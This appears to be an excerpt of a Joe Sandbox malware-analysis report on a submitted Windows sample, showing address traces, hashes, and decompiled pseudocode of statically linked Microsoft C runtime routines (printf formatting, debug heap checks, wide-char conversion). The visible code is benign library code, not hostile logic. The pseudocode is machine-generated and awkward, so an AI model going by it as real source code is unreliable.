0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c398
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c3c1
0x0043c3cb
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c401
0x0043c406
0x0043c40b
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x00000000
0x0043c423
0x0043c2c7
0x0043c2c7
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c18a
0x0043c18a
0x0043c196
0x0043c1a3
0x0043c24d
0x0043c24d
0x0043c250
0x0043c253
0x0043c267
0x0043c26d
0x0043c273
0x0043c255
0x0043c255
0x0043c25b
0x0043c262
0x0043c262
0x0043c275
0x00000000
0x0043c275
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c200
0x0043c248
0x00000000
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x00000000
0x0043c23d
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c4a4
0x0043c4a9
0x0043c4af
0x0043c4af
0x00000000
0x00000000
0x0043c446
0x0043c446
0x00000000
0x00000000
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c099
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c17d
0x0043c180
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0fd
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x00000000
0x0043c185
0x00000000
0x0043c43d
0x0043c43d
0x00000000
0x00000000
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043befd
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c597
0x0043c58e
0x0043c4b2
0x0043c4b2
0x0043c4b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4C0
_get_int64_arg.LIBCMTD ref: 0043C4E8
__aullrem.LIBCMT ref: 0043C690
__aulldiv.LIBCMT ref: 0043C6B2
_write_multi_char.LIBCMTD ref: 0043C7CB
_write_string.LIBCMTD ref: 0043C7E6
_write_multi_char.LIBCMTD ref: 0043C812
__mbtowc_l.LIBCMTD ref: 0043C881

Strings

_woutput_s_l, xrefs: 0043BBCB
9, xrefs: 0043C6C3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB96, 0043BBC6
("Incorrect format specifier", 0), xrefs: 0043BB8A, 0043BBD0

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction ID: c808c8d2692fc80821d63d7b48866a214e5433d65c6f2c4e032ba189b84b7ffa
Opcode Fuzzy Hash: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction Fuzzy Hash: 57F13CB1D002299FDB24CF58CC81BAEB7B5FB49314F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004372A3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004372A3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AEE0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AEE0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422F00(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041AEB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041AEB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DBF0(_t208,  *(_t274 + 0xc));
						E0041AEB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BD50(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AEE0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422F00(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041AEB0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AEE0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AEE0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422F00(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041AEB0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422F00(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041AEB0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041AEB0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041AEB0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041AEB0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041AEB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00437690( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AEE0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422F00(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041AEB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041AEB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041AEB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422F00(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041AEB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041AEB0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004372a3
0x004372a3
0x004372a3
0x004372a7
0x004375de
0x004375e3
0x004375e9
0x0043761b
0x0043761e
0x00437623
0x0043762f
0x00437636
0x00437643
0x00437649
0x00437653
0x00437658
0x0043765d
0x00437663
0x00437669
0x0043766e
0x0043766e
0x004375eb
0x004375eb
0x004375f7
0x004375fd
0x00437602
0x00437602
0x0043767b
0x00437688
0x00437688
0x004372bb
0x00437365
0x00437431
0x00437433
0x0043743d
0x00437444
0x00437469
0x0043747b
0x00437481
0x0043748b
0x00437490
0x00437498
0x00437498
0x004374ad
0x004374cf
0x004374d1
0x004374db
0x004374e2
0x004374ef
0x004374f5
0x004374ff
0x00437504
0x0043750c
0x00437510
0x0043751d
0x00437523
0x0043752d
0x00437532
0x0043753a
0x00437543
0x0043755b
0x00437576
0x0043758b
0x00437590
0x00437598
0x0043756a
0x00437573
0x00000000
0x00437573
0x0043759d
0x004375a3
0x004375a8
0x00000000
0x004375a8
0x004375b5
0x004375b8
0x00000000
0x004375b8
0x00437548
0x0043754e
0x00437553
0x00437553
0x00437510
0x00000000
0x004374e2
0x004375c3
0x004375c9
0x004375ce
0x004375ce
0x0043744c
0x00437452
0x00437458
0x0043745d
0x0043745d
0x00000000
0x00437444
0x0043736f
0x00437381
0x00437381
0x00437396
0x004373a4
0x004373a6
0x004373b0
0x004373b7
0x004373f1
0x004373f7
0x00437401
0x00437406
0x004373bf
0x004373cb
0x004373d3
0x004373d3
0x004373d6
0x004373d9
0x004373df
0x004373e4
0x004373e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004372c1
0x004372c1
0x004372c1
0x004372c7
0x00000000
0x00000000
0x004372c9
0x004372d4
0x00437303
0x00437308
0x00437311
0x00437316
0x00437331
0x00437334
0x00000000
0x00437334
0x0043731b
0x00437321
0x00437326
0x004372d6
0x004372db
0x004372e1
0x004372eb
0x004372f0
0x004372f0
0x00000000
0x004372d4
0x0043733c
0x00437342
0x00437347
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372EB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437321
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437342
wcsncnt.LIBCMTD ref: 00437379
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004373AA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373DF
_wcslen.LIBCMTD ref: 004375EF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004375FD

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction ID: ad83ec59ce4b4799c43a6cd97fd74f07bd65dfa5976535d805cacdbc6da60343
Opcode Fuzzy Hash: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction Fuzzy Hash: 60D15D71904208EFCB14DF94C995BEEB7B1FF08314F10815AE4516B2A1DB38AE45DF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C6C5, Relevance: 31.8, APIs: 6, Strings: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C6D9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C765
_CheckBytes.LIBCMTD ref: 0041C810
_CheckBytes.LIBCMTD ref: 0041C8CA
_memset.LIBCMT ref: 0041C9C1
__free_base.LIBCMTD ref: 0041C9CD

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C913
Client hook free failure., xrefs: 0041C73C
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C6E9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C951
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C98A
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C859
u!h@$@, xrefs: 0041C76F
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C77D, 0041C7DB, 0041C996
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C771
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C7CF
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C897
tDj, xrefs: 0041C71B

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj$u!h@$@
API String ID: 25084783-1491168652
Opcode ID: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction ID: d1c3ef32bfd2ba11c8f9d034a57823328b83163d1abe9a9bb0e04c4d90675cd7
Opcode Fuzzy Hash: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction Fuzzy Hash: 4E919574B80205BBEB14DB44DEC6FAA7365AB44704F344156F604AB3C6D2B5EE80CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434D77, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434D77(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E004283F0(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433FA0() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E410();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004357B0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E004357F0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004357B0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E004357F0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E004342C0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E004357F0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004357B0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C5D0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435600))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E004312B0( *(_t627 - 0x251) & 0x000000ff, E0041AEE0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00435710( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00435710( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E410();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422F00(_t572))) = 0x16;
													E00422C90(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041AEB0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
